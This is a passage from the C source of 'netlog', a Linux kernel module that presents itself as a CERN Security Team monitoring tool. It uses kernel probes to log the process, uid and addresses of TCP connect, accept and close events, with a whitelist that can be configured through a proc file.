40 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 25) 41 | #define SADDR saddr 42 | #else 43 | #define SADDR inet_saddr 44 | #endif 45 | 46 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 25) 47 | #define DADDR daddr 48 | #else 49 | #define DADDR inet_daddr 50 | #endif 51 | 52 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 25) 53 | #define SPORT sport 54 | #else 55 | #define SPORT inet_sport 56 | #endif 57 | 58 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 25) 59 | #define DPORT dport 60 | #else 61 | #define DPORT inet_dport 62 | #endif 63 | 64 | static char source_ipv4[INET_ADDRSTRLEN]; 65 | static char source_ipv6[INET6_ADDRSTRLEN + 2]; 66 | 67 | static char destination_ipv4[INET_ADDRSTRLEN]; 68 | static char destination_ipv6[INET6_ADDRSTRLEN + 2]; 69 | 70 | int is_inet(struct socket *sock) 71 | { 72 | if(unlikely(sock == NULL) || unlikely(sock->sk == NULL)) 73 | { 74 | return 0; 75 | } 76 | else 77 | { 78 | return (sock->sk->sk_family == AF_INET || sock->sk->sk_family == AF_INET6); 79 | } 80 | } 81 | 82 | int is_tcp(struct socket *sock) 83 | { 84 | if(unlikely(sock == NULL) || unlikely(sock->sk == NULL)) 85 | { 86 | return 0; 87 | } 88 | else 89 | { 90 | return (sock->sk->sk_protocol == IPPROTO_TCP); 91 | } 92 | } 93 | 94 | int is_udp(struct socket *sock) 95 | { 96 | if(unlikely(sock == NULL) || unlikely(sock->sk == NULL)) 97 | { 98 | return 0; 99 | } 100 | else 101 | { 102 | return (sock->sk->sk_protocol == IPPROTO_UDP); 103 | } 104 | } 105 | 106 | int get_source_port(struct socket *sock) 107 | { 108 | if(unlikely(sock == NULL) || unlikely(sock->sk == NULL)) 109 | { 110 | return 0; 111 | } 112 | else 113 | { 114 | return (ntohs(inet_sk(sock->sk)->SPORT)); 115 | } 116 | } 117 | 118 | int get_destination_port(struct socket *sock) 119 | { 120 | if(unlikely(sock == NULL) || unlikely(sock->sk == NULL)) 121 | { 122 | return 0; 123 | } 124 | else 125 | { 126 | return (ntohs(inet_sk(sock->sk)->DPORT)); 127 | } 128 | } 129 | 130 | 131 | char *get_source_ip_sk(const struct sock *sk) 132 | { 133 | if(unlikely(sk == NULL)) 134 | { 135 | return NULL; 136 | } 137 | 138 | switch(sk->sk_family) 139 | { 140 | case AF_INET: 141 | snprintf(source_ipv4, sizeof(source_ipv4), "%u.%u.%u.%u", NIPQUAD(inet_sk(sk)->SADDR)); 142 | 143 | return source_ipv4; 144 | break; 145 | case AF_INET6: 146 | snprintf(source_ipv6, sizeof(source_ipv6), "[%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x]", 147 | NIP6(inet6_sk(sk)->saddr)); 148 | 149 | return source_ipv6; 150 | break; 151 | default: 152 | return NULL; 153 | break; 154 | } 155 | } 156 | 157 | char *get_source_ip(const struct socket *sock) 158 | { 159 | if(unlikely(sock == NULL)) 160 | { 161 | return NULL; 162 | } 163 | 164 | return get_source_ip_sk(sock->sk); 165 | } 166 | 167 | char *get_destination_ip_sk(const struct sock *sk) 168 | { 169 | if(unlikely(sk == NULL)) 170 | { 171 | return NULL; 172 | } 173 | 174 | switch(sk->sk_family) 175 | { 176 | case AF_INET: 177 | snprintf(destination_ipv4, sizeof(destination_ipv4), "%u.%u.%u.%u", NIPQUAD(inet_sk(sk)->DADDR)); 178 | 179 | return destination_ipv4; 180 | break; 181 | case AF_INET6: 182 | snprintf(destination_ipv6, sizeof(destination_ipv6), "[%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x]", 183 | NIP6(inet6_sk(sk)->daddr)); 184 | return destination_ipv6; 185 | break; 186 | default: 187 | return NULL; 188 | break; 189 | } 190 | } 191 | 192 | char *get_destination_ip(const struct socket *sock) 193 | { 194 | if(unlikely(sock == NULL)) 195 | { 196 | return NULL; 197 | } 198 | 199 | return get_destination_ip_sk(sock->sk); 200 | } 201 | 202 | char *get_ip(const struct sockaddr *addr) 203 | { 204 | if(unlikely(addr == NULL)) 205 | { 206 | return NULL; 207 | } 208 | 209 | switch(addr->sa_family) 210 | { 211 | struct sockaddr_in *addrin; 212 | struct sockaddr_in6 *addrin6; 213 | static char ipv4[INET_ADDRSTRLEN]; 214 | static char ipv6[INET6_ADDRSTRLEN + 2]; 215 | 216 | case AF_INET: 217 | addrin = (struct sockaddr_in *) addr; 218 | snprintf(ipv4, sizeof(ipv4), "%u.%u.%u.%u", NIPQUAD(addrin->sin_addr.s_addr)); 219 | 220 | return ipv4; 221 | break; 222 | case AF_INET6: 223 | addrin6 = (struct sockaddr_in6 *) addr; 224 | snprintf(ipv6, sizeof(ipv6), "[%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x]", 225 | NIP6(addrin6->sin6_addr)); 226 | 227 | return ipv6; 228 | break; 229 | default: 230 | return NULL; 231 | break; 232 | } 233 | } 234 | 235 | int any_ip_address(const char *ip) 236 | { 237 | if(unlikely(ip == NULL)) 238 | { 239 | return 0; 240 | } 241 | 242 | return (!strncmp(ip, "0.0.0.0", INET_ADDRSTRLEN) || 243 | !strncmp(ip, "[0000:0000:0000:0000:0000:0000:0000:0000]", INET6_ADDRSTRLEN + 2)); 244 | } 245 | 246 | int looks_like_ipv6(const char *ip) 247 | { 248 | int i; 249 | 250 | if(ip == NULL) 251 | { 252 | return 0; 253 | } 254 | 255 | for(i = 0; i < INET6_ADDRSTRLEN && ip[i] != '\0'; ++i) 256 | { 257 | if(ip[i] == ':') 258 | { 259 | return 1; 260 | } 261 | } 262 | 263 | return 0; 264 | } 265 | 266 | 267 | int valid_port_number(const int port) 268 | { 269 | /*Port 0 useless in this case, so we consider it invalid*/ 270 | 271 | return (port > 0 && port < 65536); 272 | } 273 | 274 | int ip_character(const char ch) 275 | { 276 | /*Decimal characters and '.'*/ 277 | 278 | return (ch == '.' || (ch >= '0' && ch <= '9')); 279 | } 280 | 281 | int ipv6_character(const char ch) 282 | { 283 | /*Hexadecimal characters and ':'s. 284 | *Tolerate existance of '[' and ']' 285 | */ 286 | 287 | return (ch == ':' || ch == '[' || ch == ']' ||(ch >= '0' && ch <= '9') || 288 | (ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z')); 289 | } 290 | 291 | int looks_like_valid_ip(const char *ip) 292 | { 293 | if(ip == NULL) 294 | { 295 | return 0; 296 | } 297 | 298 | if(looks_like_ipv6(ip)) 299 | { 300 | int i; 301 | 302 | for(i = 0; i < (INET6_ADDRSTRLEN + 2) && ip[i] != '\0'; ++i) 303 | { 304 | if(!ipv6_character(ip[i])) 305 | { 306 | return 0; 307 | } 308 | } 309 | 310 | return 1; 311 | } 312 | else 313 | { 314 | int i; 315 | 316 | for(i = 0; i < INET_ADDRSTRLEN && ip[i] != '\0'; ++i) 317 | { 318 | if(!ip_character(ip[i])) 319 | { 320 | return 0; 321 | } 322 | } 323 | 324 | return 1; 325 | 326 | } 327 | 328 | return 0; 329 | } 330 | 331 | 332 | -------------------------------------------------------------------------------- /netlog/src/inet_utils.h: -------------------------------------------------------------------------------- 1 | #ifndef __IPUTILS__ 2 | #define __IPUTILS__ 3 | 4 | /* API that provides destination and source ip addresses, 5 | * given the target struct sock, struct socket or 6 | *the struct sockaddr. 7 | */ 8 | 9 | struct sock; 10 | struct socket; 11 | struct sockaddr; 12 | 13 | int is_inet(struct socket *sock); 14 | 15 | int is_tcp(struct socket *sock); 16 | 17 | int is_udp(struct socket *sock); 18 | 19 | char *get_destination_ip_sk(const struct sock *sk); 20 | 21 | char *get_destination_ip(const struct socket *sock); 22 | 23 | int get_source_port(struct socket *sock); 24 | 25 | int get_destination_port(struct socket *sock); 26 | 27 | char *get_source_ip_sk(const struct sock *sk); 28 | 29 | char *get_source_ip(const struct socket *sock); 30 | 31 | char *get_ip(const struct sockaddr *addr); 32 | 33 | int any_ip_address(const char *ip); 34 | 35 | int looks_like_ipv6(const char *ip); 36 | 37 | int valid_port_number(const int port); 38 | 39 | int looks_like_valid_ip(const char *ip); 40 | 41 | #endif 42 | 43 | -------------------------------------------------------------------------------- /netlog/src/netlog.h: -------------------------------------------------------------------------------- 1 | #ifndef __NETLOG__ 2 | #define __NETLOG__ 3 | 4 | /* Change to non zero value (i.e. 1) if you wish to probe 5 | * the binding of UDP sockets. 6 | */ 7 | 8 | #define PROBE_UDP 0 9 | 10 | /* Change to zero value (0) if you wish to not probe 11 | * the close system call for the sockets. 12 | */ 13 | 14 | #define PROBE_CONNECTION_CLOSE 1 15 | 16 | /* Set to non-zero value in order to compile the whitelisting code*/ 17 | 18 | #define WHITELISTING 1 19 | 20 | /* Error codes */ 21 | 22 | #define CONNECT_PROBE_FAILED 1 23 | #define ACCEPT_PROBE_FAILED 2 24 | #define CLOSE_PROBE_FAILED 3 25 | #define BIND_PROBE_FAILED 4 26 | 27 | MODULE_LICENSE("GPL"); 28 | MODULE_AUTHOR("Panos Sakkos "); 29 | MODULE_DESCRIPTION("netlog logs information about every internet connection\n" 30 | "\t\tfrom and to the machine that is installed. This information\n" 31 | "\t\tis source/destination ips and ports, process name and pid,\n" 32 | "\t\tuid and the protocol (TCP/UDP)."); 33 | 34 | int __init plant_probes(void); 35 | void __exit unplant_probes(void); 36 | 37 | module_init(plant_probes); 38 | module_exit(unplant_probes); 39 | 40 | #endif 41 | -------------------------------------------------------------------------------- /netlog/src/probes.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "inet_utils.h" 14 | #include "whitelist.h" 15 | #include "netlog.h" 16 | #include "connection.h" 17 | #include "proc_config.h" 18 | 19 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) 20 | #define get_current_uid() current->uid 21 | #else 22 | #define get_current_uid() current_uid() 23 | #endif 24 | 25 | #define MODULE_NAME "netlog" 26 | 27 | /**********************************/ 28 | /* MODULE PARAMETERS */ 29 | /**********************************/ 30 | 31 | int absolute_path_mode = 0; 32 | 33 | module_param(absolute_path_mode, int, 0); 34 | MODULE_PARM_DESC(absolute_path_mode, " Boolean parameter for absolute path mode. When enabled, \n" 35 | "\t\tit will log the execution path instead of the process name"); 36 | 37 | 38 | #if WHITELISTING 39 | 40 | static int whitelist_length = 0; 41 | static char *connections_to_whitelist[MAX_WHITELIST_SIZE] = {'\0'}; 42 | 43 | module_param_array(connections_to_whitelist, charp, &whitelist_length, 0000); 44 | MODULE_PARM_DESC(connections_to_whitelist, " An array of strings that contains the connections that " MODULE_NAME " will ignore.\n" 45 | "\t\tThe format of the string must be '/absolute/executable/path ip_address-port'"); 46 | 47 | #endif 48 | 49 | /**********************************/ 50 | /* PROBES */ 51 | /**********************************/ 52 | 53 | /* The next two probes are for the connect system call. We need to associate the process that 54 | * requested the connection with the socket file descriptor that the kernel returned. 55 | * The socket file descriptor is available only after the system call returns. 56 | * Though we need to be able to get the pointer to the socket struct that was given as a parameter 57 | * to connect and log its contents. We cannot have a process requesting two connects in the same time, 58 | * because when a system call is called, the process is suspended until its end of execution. 59 | */ 60 | 61 | static struct socket *match_socket[PID_MAX_LIMIT] = {NULL}; 62 | 63 | static int netlog_inet_stream_connect(struct socket *sock, struct sockaddr *addr, int addr_len, int flags) 64 | { 65 | if(unlikely(current == NULL)) 66 | { 67 | goto out; 68 | } 69 | 70 | match_socket[current->pid] = sock; 71 | out: 72 | jprobe_return(); 73 | return 0; 74 | } 75 | 76 | static int post_connect(struct kretprobe_instance *ri, struct pt_regs *regs) 77 | { 78 | struct socket *sock; 79 | int destination_port; 80 | char *destination_ip; 81 | 82 | sock = match_socket[current->pid]; 83 | 84 | if(unlikely(!is_tcp(sock)) || unlikely(!is_inet(sock))) 85 | { 86 | goto out; 87 | } 88 | 89 | if(unlikely(current == NULL)) 90 | { 91 | goto out; 92 | } 93 | 94 | destination_ip = get_destination_ip(sock); 95 | destination_port = get_destination_port(sock); 96 | 97 | #if WHITELISTING 98 | 99 | if(is_whitelisted(current, destination_ip, destination_port)) 100 | { 101 | goto out; 102 | } 103 | 104 | #endif 105 | 106 | if(!absolute_path_mode) 107 | { 108 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d -> %s:%d (uid=%d)\n", current->comm, current->pid, 109 | get_source_ip(sock), get_source_port(sock), 110 | destination_ip, destination_port, 111 | get_current_uid()); 112 | } 113 | else 114 | { 115 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path; 116 | path = exe_from_mm(current->mm, buffer, sizeof(buffer)); 117 | 118 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d -> %s:%d (uid=%d)\n", path, current->pid, 119 | get_source_ip(sock), get_source_port(sock), 120 | destination_ip, destination_port, 121 | get_current_uid()); 122 | } 123 | 124 | out: 125 | match_socket[current->pid] = NULL; 126 | return 0; 127 | } 128 | 129 | /* post_accept probe is called right after the accept system call returns. 130 | * In the return register is placed the socket file descriptor. So with the 131 | * user of regs_register_status we can get the socket file descriptor and log 132 | * the data that we want for the socket. 133 | */ 134 | 135 | static int post_accept(struct kretprobe_instance *ri, struct pt_regs *regs) 136 | { 137 | struct socket *sock; 138 | char *destination_ip; 139 | int err, destination_port; 140 | 141 | sock = sockfd_lookup(regs_return_value(regs), &err); 142 | 143 | if(unlikely(!is_tcp(sock)) || unlikely(!is_inet(sock))) 144 | { 145 | goto out; 146 | } 147 | 148 | if(unlikely(current == NULL)) 149 | { 150 | goto out; 151 | } 152 | 153 | destination_ip = get_destination_ip(sock); 154 | destination_port = get_destination_port(sock); 155 | 156 | #if WHITELISTING 157 | 158 | if(is_whitelisted(current, destination_ip, destination_port)) 159 | { 160 | goto out; 161 | } 162 | 163 | #endif 164 | 165 | 166 | if(!absolute_path_mode) 167 | { 168 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d <- %s:%d (uid=%d)\n", current->comm, current->pid, 169 | get_source_ip(sock), get_source_port(sock), 170 | destination_ip, destination_port, 171 | get_current_uid()); 172 | } 173 | else 174 | { 175 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path; 176 | path = exe_from_mm(current->mm, buffer, sizeof(buffer)); 177 | 178 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d <- %s:%d (uid=%d)\n", path, current->pid, 179 | get_source_ip(sock), get_source_port(sock), 180 | destination_ip, destination_port, 181 | get_current_uid()); 182 | } 183 | 184 | out: 185 | if(likely(sock != NULL)) 186 | { 187 | sockfd_put(sock); 188 | } 189 | 190 | return 0; 191 | } 192 | 193 | #if PROBE_CONNECTION_CLOSE 194 | 195 | asmlinkage static long netlog_sys_close(unsigned int fd) 196 | { 197 | struct socket *sock; 198 | char *destination_ip; 199 | int err, destination_port; 200 | 201 | sock = sockfd_lookup(fd, &err); 202 | 203 | if(likely(!is_inet(sock)) || unlikely(current == NULL)) 204 | { 205 | goto out; 206 | } 207 | 208 | destination_ip = get_destination_ip(sock); 209 | destination_port = get_destination_port(sock); 210 | 211 | #if WHITELISTING 212 | 213 | if(is_whitelisted(current, destination_ip, destination_port)) 214 | { 215 | goto out; 216 | } 217 | 218 | #endif 219 | 220 | if(is_tcp(sock) && likely(get_destination_port(sock) != 0)) 221 | { 222 | 223 | if(!absolute_path_mode) 224 | { 225 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d <-> %s:%d (uid=%d)\n", current->comm, current->pid, 226 | get_source_ip(sock), get_source_port(sock), 227 | destination_ip, destination_port, 228 | get_current_uid()); 229 | } 230 | else 231 | { 232 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path; 233 | path = exe_from_mm(current->mm, buffer, sizeof(buffer)); 234 | 235 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d <-> %s:%d (uid=%d)\n", path, current->pid, 236 | get_source_ip(sock), get_source_port(sock), 237 | destination_ip, destination_port, 238 | get_current_uid()); 239 | } 240 | } 241 | 242 | #if PROBE_UDP 243 | 244 | else if(is_udp(sock) && is_inet(sock)) 245 | { 246 | if(!absolute_path_mode) 247 | { 248 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP %s:%d <-> %s:%d (uid=%d)\n", current->comm, current->pid, 249 | get_source_ip(sock), get_source_port(sock), 250 | destination_ip, destination_port, 251 | get_current_uid()); 252 | } 253 | else 254 | { 255 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path; 256 | path = exe_from_mm(current->mm, buffer, sizeof(buffer)); 257 | 258 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP %s:%d <-> %s:%d (uid=%d)\n", 259 | path, current->pid, 260 | get_source_ip(sock), get_source_port(sock), 261 | destination_ip, destination_port, 262 | get_current_uid()); 263 | } 264 | } 265 | 266 | #endif 267 | 268 | out: 269 | if(likely(sock != NULL)) 270 | { 271 | sockfd_put(sock); 272 | } 273 | 274 | jprobe_return(); 275 | return 0; 276 | } 277 | 278 | #endif 279 | 280 | #if PROBE_UDP 281 | 282 | /* UDP protocol is connectionless protocol, so we probe the bind system call */ 283 | 284 | asmlinkage static int netlog_sys_bind(int sockfd, const struct sockaddr *addr, int addrlen) 285 | { 286 | int err; 287 | char *ip; 288 | struct socket *sock; 289 | 290 | sock = sockfd_lookup(sockfd, &err); 291 | 292 | if(!is_inet(sock) || !is_udp(sock)) 293 | { 294 | goto out; 295 | } 296 | 297 | if(unlikely(current == NULL)) 298 | { 299 | goto out; 300 | } 301 | 302 | ip = get_ip(addr); 303 | 304 | #if WHITELISTING 305 | 306 | if(is_whitelisted(current, ip, NO_PORT)) 307 | { 308 | goto out; 309 | } 310 | 311 | #endif 312 | 313 | if(any_ip_address(ip)) 314 | { 315 | if(!absolute_path_mode) 316 | { 317 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP bind (any IP address):%d (uid=%d)\n", 318 | current->comm, current->pid, 319 | ntohs(((struct sockaddr_in *)addr)->sin_port), 320 | get_current_uid()); 321 | } 322 | else 323 | { 324 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path; 325 | path = exe_from_mm(current->mm, buffer, sizeof(buffer)); 326 | 327 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP bind (any IP address):%d (uid=%d)\n", 328 | path, current->pid, 329 | ntohs(((struct sockaddr_in *)addr)->sin_port), 330 | get_current_uid()); 331 | } 332 | } 333 | else 334 | { 335 | if(!absolute_path_mode) 336 | { 337 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP bind %s:%d (uid=%d)\n", current->comm, current->pid, ip, 338 | ntohs(((struct sockaddr_in6 *)addr)->sin6_port), 339 | get_current_uid()); 340 | } 341 | else 342 | { 343 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path; 344 | path = exe_from_mm(current->mm, buffer, sizeof(buffer)); 345 | 346 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP bind %s:%d (uid=%d)\n", path, current->pid, ip, 347 | ntohs(((struct sockaddr_in6 *)addr)->sin6_port), 348 | get_current_uid()); 349 | } 350 | } 351 | 352 | out: 353 | if(likely(sock != NULL)) 354 | { 355 | sockfd_put(sock); 356 | } 357 | 358 | jprobe_return(); 359 | return 0; 360 | } 361 | 362 | #endif 363 | 364 | int signal_that_will_cause_exit(int trap_number) 365 | { 366 | switch(trap_number) 367 | { 368 | case SIGABRT: 369 | case SIGSEGV: 370 | case SIGQUIT: 371 | //TODO Other signals that we need to handle? 372 | return 1; 373 | break; 374 | default: 375 | return 0; 376 | break; 377 | } 378 | } 379 | 380 | int handler_fault(struct kprobe *p, struct pt_regs *regs, int trap_number) 381 | { 382 | if(signal_that_will_cause_exit(trap_number)) 383 | { 384 | printk(KERN_ERR MODULE_NAME ": fault handler: Detected fault %d from inside probes.", trap_number); 385 | } 386 | 387 | return 0; 388 | } 389 | 390 | /*************************************/ 391 | /* probe definitions */ 392 | /*************************************/ 393 | 394 | static struct jprobe connect_jprobe = 395 | { 396 | .entry = (kprobe_opcode_t *) netlog_inet_stream_connect, 397 | .kp = 398 | { 399 | .symbol_name = "inet_stream_connect", 400 | .fault_handler = handler_fault, 401 | }, 402 | }; 403 | 404 | static struct kretprobe connect_kretprobe = 405 | { 406 | .handler = post_connect, 407 | .maxactive = 16 * NR_CPUS, 408 | .kp = 409 | { 410 | .symbol_name = "inet_stream_connect", 411 | .fault_handler = handler_fault, 412 | }, 413 | }; 414 | 415 | static struct kretprobe accept_kretprobe = 416 | { 417 | .handler = post_accept, 418 | .maxactive = 16 * NR_CPUS, 419 | .kp = 420 | { 421 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 32) 422 | .symbol_name = "sys_accept", 423 | #else 424 | .symbol_name = "sys_accept4", 425 | #endif 426 | .fault_handler = handler_fault, 427 | }, 428 | }; 429 | 430 | #if PROBE_CONNECTION_CLOSE 431 | 432 | static struct jprobe tcp_close_jprobe = 433 | { 434 | .entry = (kprobe_opcode_t *) netlog_sys_close, 435 | .kp = 436 | { 437 | .symbol_name = "sys_close", 438 | .fault_handler = handler_fault, 439 | } 440 | }; 441 | 442 | #endif 443 | 444 | #if PROBE_UDP 445 | 446 | static struct jprobe bind_jprobe = 447 | { 448 | .entry = (kprobe_opcode_t *) netlog_sys_bind, 449 | .kp = 450 | { 451 | .symbol_name = "sys_bind", 452 | .fault_handler = handler_fault, 453 | }, 454 | }; 455 | 456 | #endif 457 | 458 | void unplant_all(void) 459 | { 460 | unregister_jprobe(&connect_jprobe); 461 | printk(KERN_INFO MODULE_NAME ":\t[+] Unplanted connect pre handler probe\n"); 462 | 463 | unregister_kretprobe(&connect_kretprobe); 464 | printk(KERN_INFO MODULE_NAME ":\t[+] Unplanted connect post handler probe\n"); 465 | 466 | unregister_kretprobe(&accept_kretprobe); 467 | printk(KERN_INFO MODULE_NAME ":\t[+] Unplanted accept post handler probe\n"); 468 | 469 | #if PROBE_CONNECTION_CLOSE 470 | 471 | unregister_jprobe(&tcp_close_jprobe); 472 | printk(KERN_INFO MODULE_NAME ":\t[+] Unplanted close pre handler probe\n"); 473 | 474 | #endif 475 | 476 | #if PROBE_UDP 477 | 478 | unregister_jprobe(&bind_jprobe); 479 | printk(KERN_INFO MODULE_NAME ":\t[+] Unplanted bind pre handler probe\n"); 480 | 481 | #endif 482 | } 483 | 484 | int plant_all(void) 485 | { 486 | int err; 487 | 488 | err = register_jprobe(&connect_jprobe); 489 | 490 | if(err < 0) 491 | { 492 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to plant connect pre handler\n"); 493 | unplant_all(); 494 | 495 | return -CONNECT_PROBE_FAILED; 496 | } 497 | 498 | printk(KERN_INFO MODULE_NAME ":\t[+] Planted connect pre handler\n"); 499 | 500 | err = register_kretprobe(&connect_kretprobe); 501 | 502 | if(err < 0) 503 | { 504 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to plant connect post handler\n"); 505 | unplant_all(); 506 | 507 | return -CONNECT_PROBE_FAILED; 508 | } 509 | 510 | printk(KERN_INFO MODULE_NAME ":\t[+] Planted connect post handler\n"); 511 | 512 | err = register_kretprobe(&accept_kretprobe); 513 | 514 | if(err < 0) 515 | { 516 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to plant accept post handler\n"); 517 | unplant_all(); 518 | 519 | return -ACCEPT_PROBE_FAILED; 520 | } 521 | 522 | printk(KERN_INFO MODULE_NAME ":\t[+] Planted accept post handler\n"); 523 | 524 | #if PROBE_CONNECTION_CLOSE 525 | 526 | err = register_jprobe(&tcp_close_jprobe); 527 | 528 | if(err < 0) 529 | { 530 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to plant close pre handler\n"); 531 | unplant_all(); 532 | 533 | return -CLOSE_PROBE_FAILED; 534 | } 535 | 536 | printk(KERN_INFO MODULE_NAME ":\t[+] Planted close pre handler\n"); 537 | 538 | #endif 539 | 540 | #if PROBE_UDP 541 | 542 | err = register_jprobe(&bind_jprobe); 543 | 544 | if(err < 0) 545 | { 546 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to plant bind pre handler\n"); 547 | unplant_all(); 548 | 549 | return -BIND_PROBE_FAILED; 550 | } 551 | 552 | printk(KERN_INFO MODULE_NAME ":\t[+] Planted bind pre handler\n"); 553 | 554 | #endif 555 | 556 | return 0; 557 | } 558 | 559 | #if WHITELISTING 560 | 561 | void do_whitelist(void) 562 | { 563 | int i, err; 564 | 565 | /*Deal with the whitelisting*/ 566 | 567 | if(whitelist_length > MAX_WHITELIST_SIZE) 568 | { 569 | printk(KERN_ERR MODULE_NAME ":\t[-] Cannot whitelist more than %d connections. The %d last parameters paths will be ignored. \ 570 | Please change MAX_WHITELIST_SIZE definition in netlog.h and recompile, or contact \ 571 | CERN-CERT \n", MAX_WHITELIST_SIZE, whitelist_length - MAX_WHITELIST_SIZE); 572 | 573 | whitelist_length = MAX_WHITELIST_SIZE; 574 | } 575 | 576 | /*Will not check if the paths are valid, because in case that they are, they will be ignored*/ 577 | 578 | for(i = 0; i < whitelist_length; ++i) 579 | { 580 | err = whitelist(connections_to_whitelist[i]); 581 | 582 | if(err < 0) 583 | { 584 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to whitelist %s\n", connections_to_whitelist[i]); 585 | } 586 | else 587 | { 588 | printk(KERN_INFO MODULE_NAME ":\t[+] Whitelisted %s\n", connections_to_whitelist[i]); 589 | } 590 | } 591 | } 592 | 593 | #endif 594 | 595 | /************************************/ 596 | /* INIT MODULE */ 597 | /************************************/ 598 | 599 | int __init plant_probes(void) 600 | { 601 | int err; 602 | 603 | printk(KERN_INFO MODULE_NAME ": Light monitoring tool for inet connections by CERN Security Team\n"); 604 | 605 | err = plant_all(); 606 | 607 | if(err < 0) 608 | { 609 | return err; 610 | } 611 | 612 | #if WHITELISTING 613 | 614 | err = create_proc_config(); 615 | 616 | if(err < 0) 617 | { 618 | printk(KERN_INFO MODULE_NAME ":\t[-] Creation of proc file for configuring connection whitelisting failed\n"); 619 | } 620 | else 621 | { 622 | printk(KERN_INFO MODULE_NAME ":\t[+] Created %s proc file for configuring connection whitelisting\n", PROC_CONFIG_NAME); 623 | } 624 | 625 | do_whitelist(); 626 | 627 | #endif 628 | 629 | if(absolute_path_mode) 630 | { 631 | printk(KERN_INFO MODULE_NAME ":\t[+] Absolute path mode is enabled. The logs will contain the absolute execution path\n"); 632 | } 633 | else 634 | { 635 | printk(KERN_INFO MODULE_NAME ":\t[-] Absolute path mode is disabled. The logs will contain the process name\n"); 636 | } 637 | 638 | printk(KERN_INFO MODULE_NAME ":\t[+] Deployed\n"); 639 | 640 | return 0; 641 | } 642 | 643 | /************************************/ 644 | /* EXIT MODULE */ 645 | /************************************/ 646 | 647 | void __exit unplant_probes(void) 648 | { 649 | unplant_all(); 650 | 651 | #if WHITELISTING 652 | 653 | destroy_whitelist(); 654 | destroy_proc_config(); 655 | 656 | #endif 657 | } 658 | -------------------------------------------------------------------------------- /netlog/src/proc_config.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "whitelist.h" 6 | #include "connection.h" 7 | #include "proc_config.h" 8 | 9 | static unsigned long procfs_buffer_size = 0; 10 | static char procfs_buffer[PROCFS_MAX_SIZE]; 11 | static struct proc_dir_entry *netlog_config_proc_file = NULL; 12 | 13 | void add_connection_string_to_proc_config(const char *connection_string) 14 | { 15 | if(connection_string == NULL) 16 | { 17 | return; 18 | } 19 | 20 | procfs_buffer_size += snprintf(procfs_buffer + procfs_buffer_size, PROCFS_MAX_SIZE - procfs_buffer_size, 21 | "%s,", connection_string); 22 | } 23 | 24 | void initialize_procfs_buffer(void) 25 | { 26 | memset(procfs_buffer, '\0', PROCFS_MAX_SIZE); 27 | procfs_buffer_size = 0; 28 | } 29 | 30 | void update_whitelist(void) 31 | { 32 | int i, connection_string_length; 33 | static char temp_procfs_buffer[PROCFS_MAX_SIZE]; 34 | char new_connection_string[MAX_NEW_CONNECTION_SIZE], *start; 35 | 36 | /* Copy the prc fs buffer into a temporary, because it will 37 | * be updated from the void whitelist(struct connection *connection). 38 | * 39 | * By this way, the buffer will be consistent with the whitelist, because 40 | * some connections might not be in the right format. 41 | */ 42 | 43 | memcpy(temp_procfs_buffer, procfs_buffer, PROCFS_MAX_SIZE); 44 | initialize_procfs_buffer(); 45 | 46 | destroy_whitelist(); 47 | 48 | printk(KERN_INFO PROC_CONFIG_NAME ":\t[+] Cleared whitelist\n"); 49 | 50 | /* Whitelist one by one the connections that our buffer has */ 51 | 52 | start = temp_procfs_buffer; 53 | connection_string_length = 0; 54 | 55 | for(i = 0; ; ++i) 56 | { 57 | /* Each connection is separated by a comma in the buffer, 58 | * or by a \0 if there is no comma after the last connection string. 59 | * Locate them and add them to the whitelist. 60 | */ 61 | 62 | if(temp_procfs_buffer[i] == ',' || temp_procfs_buffer[i] == '\0') 63 | { 64 | int err; 65 | 66 | connection_string_length++; 67 | memcpy(new_connection_string, start, connection_string_length); 68 | new_connection_string[connection_string_length - 1] = '\0'; 69 | 70 | /* Whitelist the new connection */ 71 | 72 | err = whitelist(new_connection_string); 73 | 74 | if(err < 0) 75 | { 76 | printk(KERN_ERR PROC_CONFIG_NAME ":\t[-] Failed to whitelist %s\n", new_connection_string); 77 | } 78 | else 79 | { 80 | printk(KERN_INFO PROC_CONFIG_NAME ":\t[+] Whitelisted %s\n", new_connection_string); 81 | } 82 | 83 | if(temp_procfs_buffer[i] == '\0') 84 | { 85 | /* End of parsing */ 86 | 87 | break; 88 | } 89 | else 90 | { 91 | /* Skip separating character */ 92 | 93 | start += connection_string_length; 94 | connection_string_length = 0; 95 | } 96 | } 97 | else 98 | 